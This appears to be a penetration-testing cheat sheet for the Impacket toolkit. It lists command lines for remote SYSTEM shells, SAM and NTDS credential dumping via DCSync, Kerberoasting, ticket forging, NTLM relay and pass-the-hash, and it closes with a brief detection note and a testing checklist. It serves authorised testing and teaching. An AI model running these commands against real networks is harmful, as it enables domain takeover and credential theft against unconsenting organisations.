Impacket

Impacket is a collection of Python scripts that implement Windows network protocols (SMB, Kerberos, MSRPC, LDAP). It’s the essential toolbox for attacking Active Directory: remote execution, credential dumping, Kerberos attacks, and relay (see the Windows & AD area).

Remote execution scripts

psexec.py domain/user:pass@host        # SYSTEM shell (noisy, creates a service)
wmiexec.py domain/user:pass@host       # execution via WMI (stealthier, semi-interactive)
smbexec.py / atexec.py / dcomexec.py   # variants via different mechanisms
# all support pass-the-hash: -hashes LM:NT (see ad-creds)

Credentials

secretsdump.py domain/user:pass@host   # dump SAM/LSA/NTDS (hashes, see ad-creds)
secretsdump.py -just-dc domain/user:pass@DC   # DCSync: dump ALL domain hashes
  # requires replication privileges (see ad-creds/ad-persist) -> krbtgt hash, etc.

Kerberos attacks (see Kerberos Attacks)

GetUserSPNs.py domain/user:pass -request       # Kerberoasting (TGS of accounts with an SPN)
GetNPUsers.py domain/ -usersfile users.txt     # AS-REP roasting (users without preauth)
ticketer.py / getST.py                          # forge/request tickets (golden/silver, delegation)
# the obtained hashes are cracked with hashcat (tool-hashcat)

NTLM relay and others

ntlmrelayx.py -tf targets.txt -smb2support      # relay NTLM to other services (see ad-ntlm)
  # combined with responder/coercion (PetitPotam) -> one of the star AD attacks
mssqlclient.py / rpcdump.py / samrdump.py        # MSSQL, RPC/user enumeration

Use with hashes (pass-the-hash)

# in almost all scripts: -hashes LM:NT instead of a password
psexec.py -hashes :<NThash> domain/user@host    # PtH (see ad-creds)
# Kerberos: -k -no-pass with a ticket in KRB5CCNAME (pass-the-ticket)

Blue Team / use

Impacket covers remote execution (psexec/wmiexec), dumping (secretsdump/DCSync), and Kerberos (roasting, tickets) in AD.
It supports pass-the-hash/ticket in almost all scripts (Credential Dumping).
ntlmrelayx + coercion is one of the star AD attacks (NTLM Relay).
For the defender: its activity (service creation, DCSync, roasting) generates detectable events (Detection & logging, Windows artifacts).

Tips and gotchas

Use the right credential format: domain/user:pass or -hashes :NTLM; many failures are just auth syntax.
Common mistake: clock/Kerberos skew (KRB_AP_ERR_SKEW); sync time with the DC (ntpdate/faketime).
secretsdump needs high privileges; DCSync requires an account with replication rights.
Key scripts: psexec/smbexec/wmiexec (exec), secretsdump (dump), ntlmrelayx (relay), GetUserSPNs (kerberoast).

Testing checklist

Remote execution (psexec/wmiexec) with a credential or hash (PtH)
secretsdump for SAM/LSA; DCSync with replication privileges
Kerberoasting (GetUserSPNs) and AS-REP (GetNPUsers) → crack (hashcat & John)
ntlmrelayx for NTLM relay (NTLM Relay)
Pass-the-hash/ticket where applicable (Credential Dumping)
MSSQL/RPC enumeration if applicable
Document; aware of detectability